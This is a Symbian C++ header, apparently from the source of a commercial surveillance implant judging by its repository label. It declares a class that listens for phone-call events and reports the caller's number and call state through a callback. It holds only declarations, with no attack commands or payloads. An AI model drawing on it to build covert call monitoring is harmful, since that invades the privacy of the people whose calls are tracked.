hackedteam/core-symbian

/*
 * PhoneCallMonitor.h
 *
 *  Created on: 06/ott/2010
 *      Author: Giovanna
 */

#ifndef PHONECALLMONITOR_H_
#define PHONECALLMONITOR_H_

#include <e32base.h>
#include <Etel3rdParty.h> 


class MCallMonCallBack
{
public:    
    virtual void NotifyConnectedCallStatusL(const TDesC& aNumber)=0; //aNumber.Length() == 0 when private number calling
    virtual void NotifyDisconnectedCallStatusL()=0;
};

class CPhoneCallMonitor : public CActive
  {

public: // public constructors & destructor
      
    static CPhoneCallMonitor* NewLC(MCallMonCallBack &aCallBack);
      static CPhoneCallMonitor* NewL(MCallMonCallBack &aCallBack);
      ~CPhoneCallMonitor();
      void StartListeningForEvents();
      /*
       * ActiveCall check if there's an active/connected call; only if ETrue, aNumber is meaningfull;; and only 
       * in that case, if aNumber.Length() == 0, then aNumber is a private number. 
       */
      TBool ActiveCall(TDes& aNumber);
      //CTelephony::TCallStatus    PreviousStatus(void){return iPreviousStatus;};

protected:
      // from CActive
      void DoCancel();
      void RunL();
      TInt RunError(TInt /*aError*/);

private: 
      // private constructors
      void ConstructL();
      CPhoneCallMonitor(MCallMonCallBack &aCallBack);
    // private internal functions
      
private:
      
    MCallMonCallBack&    iCallBack;
      CTelephony*         iTelephony;
      //CTelephony::TCallStatus            iPreviousStatus;
      CTelephony::TCallStatusV1         iCallStatus;
     CTelephony::TCallStatusV1Pckg     iCallStatusPckg;
};

#endif /* PHONECALLMONITOR_H_ */